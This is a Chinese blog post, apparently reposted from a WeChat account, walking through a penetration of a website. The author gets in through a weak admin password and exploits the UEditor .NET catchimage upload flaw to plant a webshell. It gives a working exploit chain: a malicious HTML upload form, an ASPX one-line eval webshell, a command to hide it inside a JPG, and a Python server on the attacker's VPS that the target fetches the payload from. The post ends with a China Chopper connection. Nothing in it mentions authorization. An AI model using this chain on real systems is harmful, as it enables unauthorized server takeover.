记一次渗透实战ueditor编辑器上传getshell

admin 2022年6月2日07:51:57评论2,079 views字数 1165阅读3分53秒阅读模式

首先通过弱口令进入后台,在后台发现使用了ueditor编辑器,查看版本发现可能存在漏洞,通过访问指定的URL判断出存在漏洞。然后通过构造恶意的HTML表单,上传图片马,最后直接getshell。

一、弱口令进入后台

0x01 使用弱口令进入后台记一次渗透实战--ueditor编辑器上传getshell
记一次渗透实战--ueditor编辑器上传getshell

二、发现ueditor编辑器

0x01 发现ueditor编辑器

记一次渗透实战--ueditor编辑器上传getshell

0x02 找到编辑器路径

随便找到一处图片上传,找到ueditor上传路径。
记一次渗透实战--ueditor编辑器上传getshell

0x03 查看ueditor版本

记一次渗透实战--ueditor编辑器上传getshell

0x04 判断是否存在漏洞

http://xxxxxxxxx/ueditor/net/controller.ashx?action=catchimage
记一次渗透实战--ueditor编辑器上传getshell
说明漏洞存在。

三、进行上传

0x01 构造一个恶意的HTML文件

<form action="http://xxx.xxx.xxx.xxx/Scripts/ueditor/net/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST"> <p>shell addr:<input type="text" name="source[]" /></p > <input type="submit" value="Submit" /></form>


记一次渗透实战--ueditor编辑器上传getshell

0x02 构造一个aspx类型的一句话木马

(1):aspx一句话木马
<%@ page="" language="Jscript"><%eval(request.item["chopper"],"unsafe");%>
(2):生成图片马
copy 1.jpg/b + 1.aspx/a 2.jpg
记一次渗透实战--ueditor编辑器上传getshell
图片马生成。

0x03 在VPS上开启一个HTTP服务

python2 -m SimpleHTTPServer 8000
记一次渗透实战--ueditor编辑器上传getshell

0x04 利用HTML表单上传

(1):进行上传
http://vps:port/2.jpg?.aspx
记一次渗透实战--ueditor编辑器上传getshell
(2):上传成功
记一次渗透实战--ueditor编辑器上传getshell
成功返回shell路径。

四、使用菜刀进行连接

0x01 访问shell地址

记一次渗透实战--ueditor编辑器上传getshell

0x02 使用菜刀成功连接

记一次渗透实战--ueditor编辑器上传getshell
记一次渗透实战--ueditor编辑器上传getshell

原文始发于微信公众号(想走安全的小白):记一次渗透实战--ueditor编辑器上传getshell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月2日07:51:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次渗透实战ueditor编辑器上传getshellhttps://cn-sec.com/archives/886033.html

发表评论

匿名网友 填写信息